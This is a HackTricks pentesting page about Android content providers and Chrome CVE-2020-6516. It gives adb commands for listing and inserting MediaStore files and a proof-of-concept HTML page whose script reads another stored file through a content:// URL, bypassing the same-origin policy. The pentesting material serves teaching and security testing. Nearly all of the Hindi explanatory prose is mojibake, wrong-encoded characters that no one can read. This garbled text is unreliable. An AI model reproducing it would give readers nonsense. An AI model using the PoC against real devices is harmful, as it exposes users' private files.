hacktricks/mobile-pentesting/android-app-pentesting/content-protocol.md

9.7 KiB

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

{% embed url="https://websec.nl/" %}

рдпрд╣ https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/ рдкреЛрд╕реНрдЯ рдХрд╛ рд╕рд╛рд░рд╛рдВрд╢ рд╣реИред

рдореАрдбрд┐рдпрд╛ рд╕реНрдЯреЛрд░ рдореЗрдВ рдлрд╝рд╛рдЗрд▓реЗрдВ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдирд╛

рдореАрдбрд┐рдпрд╛ рд╕реНрдЯреЛрд░ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рдмрдВрдзрд┐рдд рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдиреАрдЪреЗ рджрд┐рдП рдЧрдП рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

$ content query --uri content://media/external/file

рдордиреБрд╖реНрдп рдХреЗ рдЕрдиреБрдХреВрд▓ рдЖрдЙрдЯрдкреБрдЯ рдХреЗ рд▓рд┐рдП, рдкреНрд░рддреНрдпреЗрдХ рдЕрдиреБрдХреНрд░рдорд┐рдд рдлрд╝рд╛рдЗрд▓ рдХреЗ рдХреЗрд╡рд▓ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ рдФрд░ рдкрде рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдирд╛:

$ content query --uri content://media/external/file --projection _id,_data

рд╕рд╛рдордЧреНрд░реА рдкреНрд░рджрд╛рддрд╛ рдЕрдкрдиреЗ рдирд┐рдЬреА рдирд╛рдорд╕реНрдерд╛рди рдореЗрдВ рдЕрд▓рдЧ-рдерд▓рдЧ рд╣реЛрддреЗ рд╣реИрдВред рдХрд┐рд╕реА рдкреНрд░рджрд╛рддрд╛ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢рд┐рд╖реНрдЯ content:// URI рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рдкреНрд░рджрд╛рддрд╛ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдкрдереЛрдВ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореИрдирд┐рдлреЗрд╕реНрдЯ рдпрд╛ Android рдврд╛рдВрдЪреЗ рдХреЗ рд╕реНрд░реЛрдд рдХреЛрдб рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИред

Chrome рдХрд╛ рд╕рд╛рдордЧреНрд░реА рдкреНрд░рджрд╛рддрд╛рдУрдВ рддрдХ рдкрд╣реБрдБрдЪ

Android рдкрд░ Chrome рд╕рд╛рдордЧреНрд░реА рдкреНрд░рджрд╛рддрд╛рдУрдВ рддрдХ content:// рдпреЛрдЬрдирд╛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╣реБрдБрдЪ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ рддреАрд╕рд░реЗ рдкрдХреНрд╖ рдХреЗ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рджреНрд╡рд╛рд░рд╛ рдирд┐рд░реНрдпрд╛рдд рдХреА рдЧрдИ рдлрд╝реЛрдЯреЛ рдпрд╛ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдЬреИрд╕реА рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕реЗ рд╕реНрдкрд╖реНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдПрдХ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдореАрдбрд┐рдпрд╛ рд╕реНрдЯреЛрд░ рдореЗрдВ рдбрд╛рд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдлрд┐рд░ Chrome рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╣реБрдБрдЪрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

рдореАрдбрд┐рдпрд╛ рд╕реНрдЯреЛрд░ рдореЗрдВ рдПрдХ рдХрд╕реНрдЯрдо рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдбрд╛рд▓реЗрдВ:

cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain

рдирдИ рдбрд╛рд▓реА рдЧрдИ рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ рдЦреЛрдЬреЗрдВ:

content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt

рдлрд╛рдЗрд▓ рдХреЛ рдлрд┐рд░ Chrome рдореЗрдВ рдЙрд╕ рдлрд╛рдЗрд▓ рдХреЗ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ рдХреЗ рд╕рд╛рде рдмрдирд╛рдП рдЧрдП URL рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рджреЗрдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдлрд╛рдЗрд▓реЛрдВ рдХреА рд╕реВрдЪреА рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП:

content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>

Chrome CVE-2020-6516: Same-Origin-Policy Bypass

рд╕рдорд╛рди рдореВрд▓ рдиреАрддрд┐ (SOP) рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╣реИ рдЬреЛ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдореЗрдВ рд╡реЗрдм рдкреГрд╖реНрдареЛрдВ рдХреЛ рд╡рд┐рднрд┐рдиреНрди рдореВрд▓реЛрдВ рд╕реЗ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрддрд╛ рд╣реИ рдЬрдм рддрдХ рдХрд┐ рдЗрд╕реЗ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди-рд░рд┐рд╕реЛрд░реНрд╕-рд╢реЗрдпрд░рд┐рдВрдЧ (CORS) рдиреАрддрд┐ рджреНрд╡рд╛рд░рд╛ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреА рдЬрд╛рддреАред рдЗрд╕ рдиреАрддрд┐ рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓реАрдХ рдФрд░ рдХреНрд░реЙрд╕-рд╕рд╛рдЗрдЯ рдЕрдиреБрд░реЛрдз рдзреЛрдЦрд╛рдзрдбрд╝реА рдХреЛ рд░реЛрдХрдирд╛ рд╣реИред Chrome content:// рдХреЛ рдПрдХ рд╕реНрдерд╛рдиреАрдп рдпреЛрдЬрдирд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдорд╛рдирддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ SOP рдирд┐рдпрдо рдЕрдзрд┐рдХ рд╕рдЦреНрдд рд╣реИрдВ, рдЬрд╣рд╛рдВ рдкреНрд░рддреНрдпреЗрдХ рд╕реНрдерд╛рдиреАрдп рдпреЛрдЬрдирд╛ URL рдХреЛ рдПрдХ рдЕрд▓рдЧ рдореВрд▓ рдХреЗ рд░реВрдк рдореЗрдВ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред

рд╣рд╛рд▓рд╛рдВрдХрд┐, CVE-2020-6516 рдПрдХ рдХрдордЬреЛрд░ рдмрд┐рдВрджреБ рдерд╛ рдЬреЛ Chrome рдореЗрдВ content:// URL рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд▓реЛрдб рдХрд┐рдП рдЧрдП рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рд▓рд┐рдП SOP рдирд┐рдпрдореЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рдерд╛ред рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ, content:// URL рд╕реЗ JavaScript рдХреЛрдб рдЕрдиреНрдп рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддрд╛ рдерд╛ рдЬреЛ content:// URLs рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд▓реЛрдб рдХрд┐рдП рдЧрдП рдереЗ, рдЬреЛ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╕реБрд░рдХреНрд╖рд╛ рдЪрд┐рдВрддрд╛ рдереА, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ Android рдЙрдкрдХрд░рдгреЛрдВ рдкрд░ рдЬреЛ Android 10 рд╕реЗ рдкрд╣рд▓реЗ рдХреЗ рд╕рдВрд╕реНрдХрд░рдг рдЪрд▓рд╛ рд░рд╣реЗ рдереЗ, рдЬрд╣рд╛рдВ рд╕реНрдХреЛрдкреНрдб рд╕реНрдЯреЛрд░реЗрдЬ рд▓рд╛рдЧреВ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред

рдиреАрдЪреЗ рджрд┐рдП рдЧрдП рдкреНрд░рдорд╛рдг-рдХрд╛-рдзрд╛рд░рдгрд╛ рдЗрд╕ рдХрдордЬреЛрд░ рдмрд┐рдВрджреБ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд╣рд╛рдВ рдПрдХ HTML рджрд╕реНрддрд╛рд╡реЗрдЬрд╝, рдЬрд┐рд╕реЗ /sdcard рдХреЗ рддрд╣рдд рдЕрдкрд▓реЛрдб рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рдореАрдбрд┐рдпрд╛ рд╕реНрдЯреЛрд░ рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЧрдпрд╛ рд╣реИ, рдЕрдкрдиреЗ JavaScript рдореЗрдВ XMLHttpRequest рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдореАрдбрд┐рдпрд╛ рд╕реНрдЯреЛрд░ рдореЗрдВ рдПрдХ рдЕрдиреНрдп рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдПрдХреНрд╕реЗрд╕ рдФрд░ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИ, SOP рдирд┐рдпрдореЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рддреЗ рд╣реБрдПред

Proof-of-Concept HTML:

<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}

xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>

{% embed url="https://websec.nl/" %}

{% hint style="success" %} рд╕реАрдЦреЗрдВ рдФрд░ AWS рд╣реИрдХрд┐рдВрдЧ рдХрд╛ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
рд╕реАрдЦреЗрдВ рдФрд░ GCP рд╣реИрдХрд┐рдВрдЧ рдХрд╛ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ
{% endhint %}